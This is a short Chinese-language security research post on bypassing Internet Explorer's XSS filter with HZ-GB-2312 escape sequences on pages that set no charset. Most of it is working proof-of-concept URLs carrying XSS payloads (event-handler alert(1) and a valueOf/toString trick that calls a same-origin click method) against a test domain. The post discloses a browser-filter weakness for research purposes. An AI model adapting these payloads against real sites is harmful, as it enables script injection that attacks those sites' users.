利用HZ-GB-2312转义序列绕过IE的XSS过滤器

本文详细介绍了如何利用HZ-GB-2312编码的转义序列来绕过IE浏览器的XSS过滤器,包括两种具体的绕过方法及PoC示例,适用于未明确指定字符集的网页。

利用HZ-GB-2312转义序列绕过IE的XSS过滤器

我想分享一种使用HZ-GB-2312编码的转义序列来绕过IE XSS过滤器的方法。使用此攻击向量需要目标页面的Content-Type头部未指定字符集。

绕过方法1

PoC:

1
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

无需用户交互的版本:

1
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

[0x0A]“是HZ-GB-2312的转义序列。XSS过滤器似乎对”[0x0A]“做了例外处理。

如果Content-Type头部指定了正确的字符集,则此方法无效:

1
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

另一方面,如果meta标签指定了正确的字符集,此方法仍然有效:

1
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

绕过方法2

“~{“也是HZ-GB-2312的转义序列。我们可以利用它来绕过过滤器。我们可以在字符串字面量中调用同源方法。

PoC在此:

1
http://l0.cm/xssfilter_hz_poc.html

请点击"go"按钮。您可以确认element.click方法被调用。

“click"是从以下代码调用的:

1
2
3
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//

<script>var q="";~{valueOf:opener.button.click}//"</script>

您也可以使用"toString”:

1
2
3
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//

<script>var q="";~{toString:opener.button.click}//"</script>

以上就是全部内容。下个月见!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计